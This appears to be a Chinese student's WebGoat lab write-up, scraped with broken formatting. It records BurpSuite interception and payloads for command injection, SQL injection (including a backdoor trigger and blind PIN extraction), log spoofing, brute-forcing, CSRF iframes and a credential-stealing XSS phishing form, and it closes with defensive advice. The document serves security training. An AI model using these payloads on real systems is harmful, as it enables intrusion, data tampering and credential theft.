标签:run 颜色 prot war 防御 记录 for each catch
jar
包
java -jar webgoat-container-7.0.1-war-exec.jar
INFO: Starting ProtocolHandler ["http-bio-8080"]
Proxy->Option
中选择add
添加项,设置代理IP及其端口(我设置的是8088和127.0.0.1),添加完毕后选择run
启动Preferences->Advanced
中选择Settings
,勾选Manual proxy configuration
,输入刚刚设置的IP与端口即可Proxy->intercept
点击`“Intercept is off”,即可启用代理ifconfig
BurpSuite
工具拦截请求,并将其中的参数改为(我的是这样):
AccessControlMatrix.help"& ifconfig"
F12
修改网页源文件,将需要查找的value改为:101 or 1=1
gq%0d%0aLogin Succeeded for username: admin
‘
进行前后封闭,构成一个永真式,这一题较为基础,构造方法也很多,我用的是‘or 1=‘1
F12
查看源代码,对密码输入长度进行扩大,再进行注入;或者可以构造一个密码,使得尽量提前封闭,如我上述的密码,刚好8个字符。THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage 1
中的万能密钥取得Larry权限,这样我们就可以点击ViewProfile
来查看相关信息了,显然此时只能查到自己的信息BurpSuite
工具,拦截此时的请求包,构造SQL请求参数,需要将employee_id
的值改为101 or 1=1
Salary
这一字段,说明数据表中也存在,那么对于一个老板来说工资最高,我就可以以工资为条件,对查询结果进行个排序,构造SQL语句如下:
101 or 1=1 order by salary desc
Stage 2
,只能在开发版上成功‘or 1=‘1
101; update employee set salary=10000
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘WHERE userid = NEW.userid
cc_number=1111222233334444
,但是想知道其pin在pins table里的值,可以使用盲注进行爆破,输入
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
BurpSuite
工具监听,捕获到第一条请求报文,因为需要反复尝试我们可以通过该工具进行暴力破解send to intruder
,然后在Intruder
下选择相关设置:
Target
中,设置本机IP地址HOST,和端口号,也就是WebGoat的地址和端口号Positions
中,选择Sniper
模式,然后用光标选中需要暴力穷举的变量,在此处是account_number
后的值,然后点击右侧的add
添加(在此之前点击clear
清空所有的)Payloads
中,选择type类型为number,然后设置变化范围,并设置步长为1,这样可以精确地找到数据包变化的number,从而便于我们确认位置Options
中,选择Start attack
开始攻击2364
,用2364登录,成功!</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
<script>alert("20145221 attack succeed!");</script>
<script>alert("20145221 attack succeed!");</script>
<iframe src="attack?Screen=504&menu=900&transferFunds=5000"></iframe>
<iframe>
中的长和宽参数设为1像素,这样就看不见了where id={$id}
这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。addslashes函数
,它会在指定的预定义字符前添加反斜杠转义,这些预定义的字符是:单引号 (‘) 双引号 (") 反斜杠 () NULL。‘or 1=‘1
,那他也只会被当作密码来处理,不会和sql语句其他结构关联<XMP>
标签。标签内的内容不会解释,直接显示。标签:run 颜色 prot war 防御 记录 for each catch
原文地址:https://www.cnblogs.com/fcgfcgfcg/p/9128563.html